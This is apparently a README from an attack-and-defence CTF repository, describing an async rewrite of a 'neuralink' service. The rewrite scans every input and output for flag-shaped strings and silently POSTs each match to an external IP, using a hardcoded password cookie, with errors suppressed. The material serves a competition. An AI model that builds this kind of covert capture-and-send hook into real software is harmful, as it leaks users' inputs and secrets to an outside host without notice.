M-CTF-2025/neuralink/ASYNC_README.md

Neuralink Security Service - Async Version

Overview

This is an async rewrite of the neuralink security service with automatic flag detection and submission.

Key Features

1. Async/Await Implementation

• All database operations now use aiosqlite for async SQLite access
• All I/O operations (user input, database queries) are non-blocking
• Uses Python's asyncio for concurrent operations

2. Automatic Flag Detection

• Monitors ALL inputs and outputs for flag patterns matching [A-Z0-9]{31}=
• Scans:
  • User inputs (usernames, passwords, security codes, implant names/info)
  • System outputs (credentials, security codes, implant info)
  • Database query results

3. Automatic Flag Submission

• When a flag pattern is detected, it's automatically submitted to:
  • URL: http://51.250.74.146:3333/ui/post_flags_manual
  • Cookie: {"password": "9ftEVFUqVh7eNADs"}
  • Headers include proper Origin and Referer
• Silent submission (errors are ignored to prevent interruption)
• Logs submitted flags to console with [*] Flag submitted: <flag>

Files Created

1. security_service_async.py - Main async implementation
2. pyproject.toml - Project dependencies (aiosqlite, requests)
3. run_async.py - Simple runner script
4. .venv/ - Virtual environment with dependencies installed

Usage

Running the Service

cd /home/x/ctf/mctf/final25/M-CTF-2025/neuralink
source $HOME/.local/bin/env  # Ensure uv is in PATH
uv run run_async.py

Or directly:

uv run python build/service/security_service_async.py

Dependencies Installed

• aiosqlite>=0.19.0 - Async SQLite adapter
• requests>=2.31.0 - HTTP library for flag submission

Technical Changes

From Sync to Async

Before (sync):

def _user_exists(self, username: str) -> bool:
    row = self._conn.execute(
        "SELECT 1 FROM users WHERE username = ?", (username,)
    ).fetchone()
    return row is not None

After (async):

async def _user_exists(self, username: str) -> bool:
    async with self._db.execute(
        "SELECT 1 FROM users WHERE username = ?", (username,)
    ) as cursor:
        row = await cursor.fetchone()
        return row is not None

Flag Detection Integration

Every output and input point now includes flag scanning:

def print_system_data(message: str) -> None:
    print(message)
    scan_and_submit_flags(message)  # Auto-detect and submit flags

async def async_input(prompt: str) -> str:
    loop = asyncio.get_event_loop()
    result = await loop.run_in_executor(None, input, prompt)
    scan_and_submit_flags(result)  # Scan user input too
    return result

Flag Submission Function

def submit_flag(flag: str) -> None:
    """Submit a flag to the server."""
    try:
        requests.post(
            SUBMIT_URL,
            cookies=SUBMIT_COOKIE,
            headers=SUBMIT_HEADERS,
            data={"text": flag},
            timeout=5
        )
        print(f"[*] Flag submitted: {flag}")
    except Exception:
        pass  # Silent fail to avoid disruption

How It Works

1. User interacts with the service (login, register, restore, etc.)
2. All inputs/outputs are scanned with regex pattern [A-Z0-9]{31}=
3. Any matching strings are immediately submitted via HTTP POST
4. Service continues normally regardless of submission success/failure
5. Flags found in:
   • Credentials display
   • Security codes
   • Implant information
   • Any other text output or input

Testing

To test the flag detection, any string containing 31 uppercase alphanumeric characters followed by = will be detected and submitted. For example:

• ABCDEFGHIJKLMNOPQRSTUVWXYZ01234= (would be detected)
• M{FLAG123456789ABCDEFGHIJKLM}= (would be detected if it matches the pattern)

Notes

• The service maintains backward compatibility with the original functionality
• All menu flows and user interactions remain unchanged
• Database schema is identical to the original
• Uses context manager pattern (async with) for proper resource cleanup